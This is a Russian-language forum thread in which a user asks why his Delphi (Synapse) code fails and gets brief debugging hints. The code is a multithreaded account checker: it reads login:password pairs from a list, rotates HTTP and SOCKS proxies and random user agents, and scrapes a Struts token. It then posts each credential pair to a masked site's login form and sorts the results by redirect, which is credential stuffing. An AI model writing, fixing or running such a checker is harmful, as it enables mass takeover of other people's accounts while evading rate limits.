Авторизация

[alextrof94]

А ты SSL обработчик подключил? [2]

[Fahman]

Сообщение от alextrof94

А ты SSL обработчик подключил? [2]

А как его правильно подключить, можно пример на основе кода который я скинул?

procedure ThePotok.Execute;
Var
Http: THTTPSend;
begin
 ReBrute:=False;
 While Work do
 Begin
 Cs.Enter;
 if ReBrute=False then
 Begin
 Inc(Acc);
 if Acc<AccountsList.Count then CurAcc:=Acc else Work:=False;
 End;
 Inc(Proxys);
 if Proxys<ProxyList.Count-1 then CurProxys:=Proxys else  begin
 Proxys:=0;
 CurProxys:=Proxys;
 End;
 Cs.Leave;
 if Work then begin
 Http:= THTTPSend.Create;
 Rez:=0;
 if Pos(':',AccountsList[Curacc])<>0 then
 Begin
   FAcc:=Copy(AccountsList[Curacc],1,pos(':',AccountsList[Curacc])-1);
   FPas:=Copy(AccountsList[Curacc],pos(':',AccountsList[Curacc])+1,Length(AccountsList[Curacc]));
 End else Begin
   FAcc:=Copy(AccountsList[Curacc],1,pos(';',AccountsList[Curacc])-1);
   FPas:=Copy(AccountsList[Curacc],pos(';',AccountsList[Curacc])+1,Length(AccountsList[Curacc]));
 End;

 if  ProxyType = 'HTTP/HTTPS' then
 Begin
   Http.ProxyHost:=Copy(ProxyList[CurProxys],1,pos(':',ProxyList[CurProxys])-1);
   Http.ProxyPort:=Copy(ProxyList[CurProxys],pos(':',ProxyList[CurProxys])+1,Length(ProxyList[CurProxys]));
 End;

 if ProxyType = 'SOCKS4/5' then
 Begin
   Http.Sock.SocksIP:=Copy(ProxyList[CurProxys],1,pos(':',ProxyList[CurProxys])-1);
   Http.Sock.SocksPort:=Copy(ProxyList[CurProxys],pos(':',ProxyList[CurProxys])+1,Length(ProxyList[CurProxys]));
 End;
   try
 Http.HTTPMethod('GET','https://Сайт');
         html.LoadFromStream(http.Document);
         token:=Pars('name="struts.token" value="', html.Text, '"');
     except
end;
 Data:= TStringStream.Create;
 Scr:= TStringList.Create;
 With HTTP Do Begin
 Headers.Add('Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8');
 MimeType:='application/x-www-form-urlencoded';
 UserAgent:=GetRandomUserAgent;
 Document.Clear;
 End;
 Data.WriteString('struts.token.name=struts.token&struts.token='+token+'&j_username='+FAcc+'&j_password='+FPas+'&service-entity=np');
 Http.Document.LoadFromStream(Data);
 if Http.HTTPMethod('POST','https://Сайт') then
 if Pos('Location: https://сайт',HTTP.Headers.Text)<>0 then begin
   Rez:=1;
 end else begin
   Rez:=2;
 end;

 HTTP.Free;
 Scr.Free;
 Synchronize(Sync);
 End;
 Dec(Thread);
 if Thread = 0 then
 End;
end;

Вот полный код потока.

[alextrof94]

загугли "парсинг и я авторизация"

[Fahman]

выяснил что это не из-за "https" пробывал на обычном сайте, тоже не парсит, помогите, в чем проблема?

[Stilet]

Отладка конечно же не помогает? )